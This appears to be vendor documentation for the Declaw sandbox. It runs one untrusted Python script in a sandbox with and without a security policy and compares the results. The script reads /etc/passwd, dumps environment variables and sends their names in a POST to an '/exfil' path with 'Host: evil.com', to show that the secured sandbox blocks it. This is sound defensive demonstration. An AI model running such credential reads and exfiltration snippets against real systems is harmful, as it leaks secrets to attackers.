Skip to main content

What You’ll Learn

  • The baseline protection you get from Firecracker isolation alone (the “unsecured” sandbox)
  • What additional protection a full SecurityPolicy adds (the “secured” sandbox)
  • A concrete side-by-side comparison of eight operations across both sandboxes
  • When to use basic isolation vs full security policies

Prerequisites

  • Declaw running locally or in the cloud (see Deployment)
  • DECLAW_API_KEY and DECLAW_DOMAIN set in your environment
This example is available in Python. TypeScript support coming soon.

The Untrusted Script

Both sandboxes run exactly the same script. It tests five operations that could be dangerous if run on the host:
UNTRUSTED_SCRIPT = """\
import os, json, socket

# Test 1: Read /etc/passwd
try:
    with open("/etc/passwd") as f:
        lines = f.read().strip().split("\\n")
    print(f"Test 1 (read /etc/passwd): Read {len(lines)} lines")
except Exception as e:
    print(f"Test 1 (read /etc/passwd): FAILED ({e})")

# Test 2: Access environment variables
env_vars = dict(os.environ)
print(f"Test 2 (env vars): Found {len(env_vars)} variables")
for key in sorted(env_vars.keys())[:5]:
    print(f"  {key}={env_vars[key][:40]}")

# Test 3: Write to /tmp
try:
    with open("/tmp/untrusted_output.txt", "w") as f:
        f.write("data from untrusted code")
    print("Test 3 (write /tmp): Write succeeded")
except Exception as e:
    print(f"Test 3 (write /tmp): FAILED ({e})")

# Test 4: Network connectivity
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect(("1.1.1.1", 80))
    s.close()
    print("Test 4 (network): CONNECTED")
except Exception as e:
    print(f"Test 4 (network): BLOCKED ({e})")

# Test 5: Exfiltrate data
stolen = json.dumps({"env": list(env_vars.keys())[:3]})
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect(("93.184.216.34", 80))
    s.sendall(f"POST /exfil HTTP/1.1\\r\\nHost: evil.com\\r\\n\\r\\n{stolen}".encode())
    s.close()
    print("Test 5 (exfiltrate): Data sent")
except Exception as e:
    print(f"Test 5 (exfiltrate): BLOCKED ({e})")
"""

The Two Sandboxes

Unsecured sandbox (baseline)

from declaw import Sandbox

unsecured_sbx = Sandbox.create(template="python", timeout=300)
No security policy. Network access is allowed by default. This represents the minimum you get from Declaw — Firecracker microVM isolation.

Secured sandbox (full protection)

from declaw import Sandbox, SecurityPolicy, PIIConfig, InjectionDefenseConfig, AuditConfig

secured_policy = SecurityPolicy(
    pii=PIIConfig(
        enabled=True,
        types=["email", "ssn", "credit_card", "api_key"],
        action="redact",
    ),
    injection_defense=InjectionDefenseConfig(
        enabled=True,
        sensitivity="high",
        action="block",
    ),
    audit=AuditConfig(
        enabled=True,
        log_request_body=True,
        log_response_body=True,
    ),
)

secured_sbx = Sandbox.create(
    template="python",
    timeout=300,
    security=secured_policy,
    allow_internet_access=False,
)

Side-by-Side Comparison

OperationUnsecured SandboxSecured SandboxExplanation
Read /etc/passwdSucceedsSucceedsBoth read the sandbox’s /etc/passwd, not the host’s
Access env varsSucceedsSucceedsBoth see only sandbox env vars — no host secrets
Write to /tmpSucceedsSucceedsBoth can write; files are ephemeral and destroyed on kill
Network connectivityConnectedBlockedSecured sandbox blocks all outbound via deny-all
Data exfiltrationData sentBlockedSecured sandbox cannot send data out
PII in HTTP trafficNot redactedRedactedSecured sandbox strips credentials from HTTP bodies
Injection payloadsNot detectedBlockedSecured sandbox blocks injection attempts
Audit trailNoneFull logSecured sandbox logs all requests/responses

Running Both Sandboxes

def run_in_sandbox(sbx: Sandbox) -> str:
    sbx.files.write("/tmp/untrusted.py", UNTRUSTED_SCRIPT)
    result = sbx.commands.run("python3 /tmp/untrusted.py", timeout=20)
    return result.stdout

try:
    print("--- UNSECURED Sandbox ---")
    print(run_in_sandbox(unsecured_sbx))

    print("--- SECURED Sandbox ---")
    print(run_in_sandbox(secured_sbx))
finally:
    unsecured_sbx.kill()
    secured_sbx.kill()

Expected Output

--- Running Untrusted Script in UNSECURED Sandbox ---
Test 1 (read /etc/passwd): Read 32 lines
Test 2 (env vars): Found 11 variables
  HOME=/root
  PATH=/usr/local/sbin:...
Test 3 (write /tmp): Write succeeded
Test 4 (network): CONNECTED
Test 5 (exfiltrate): Data sent

--- Running Untrusted Script in SECURED Sandbox ---
Test 1 (read /etc/passwd): Read 32 lines
Test 2 (env vars): Found 11 variables
  HOME=/root
  PATH=/usr/local/sbin:...
Test 3 (write /tmp): Write succeeded
Test 4 (network): BLOCKED ([Errno 110] Connection timed out)
Test 5 (exfiltrate): BLOCKED ([Errno 110] Connection timed out)

--- Side-by-Side Comparison ---
  Read /etc/passwd         Both                 Both read sandbox's /etc/passwd, not the host's.
  Environment variables    Both                 Both see sandbox env vars. Host secrets never exposed.
  Write to /tmp            Both                 Both can write. Files destroyed with the sandbox.
  Network connectivity     Unsecured ONLY       Secured sandbox blocks all outbound via deny-all policy.
  Data exfiltration        Unsecured ONLY       Secured sandbox cannot send data out.
  PII in HTTP traffic      N/A vs Redacted      Secured sandbox redacts PII in any allowed HTTP traffic.
  Injection payloads       N/A vs Blocked       Secured sandbox blocks injection attempts in API calls.
  Audit trail              No vs Yes            Secured sandbox logs all requests/responses for review.

Key Takeaways

1. Firecracker isolation (both sandboxes): Even the “unsecured” sandbox runs inside a Firecracker microVM. This provides hardware-level process isolation, a separate filesystem, and no access to host resources. The /etc/passwd that malicious code reads is the sandbox’s — not yours. This is the baseline protection you get from any Declaw sandbox. 2. Defense-in-depth (secured sandbox only): The security policy adds multiple independent layers on top of Firecracker isolation:
  • Network deny-all: no outbound connections at all
  • PII redaction: credentials stripped from HTTP traffic
  • Injection defense: malicious prompts blocked before reaching APIs
  • Audit logging: full visibility into what the code tried to do
3. Choose your protection level:
Code Trust LevelRecommended Configuration
Trusted code, no external accessSandbox.create(allow_internet_access=False)
Trusted code, controlled external accessSandbox.create(network={"allow_out": [...]})
Untrusted codeAdd SecurityPolicy with PII + injection defense
High-security / complianceFull stack: PII + injection + network + audit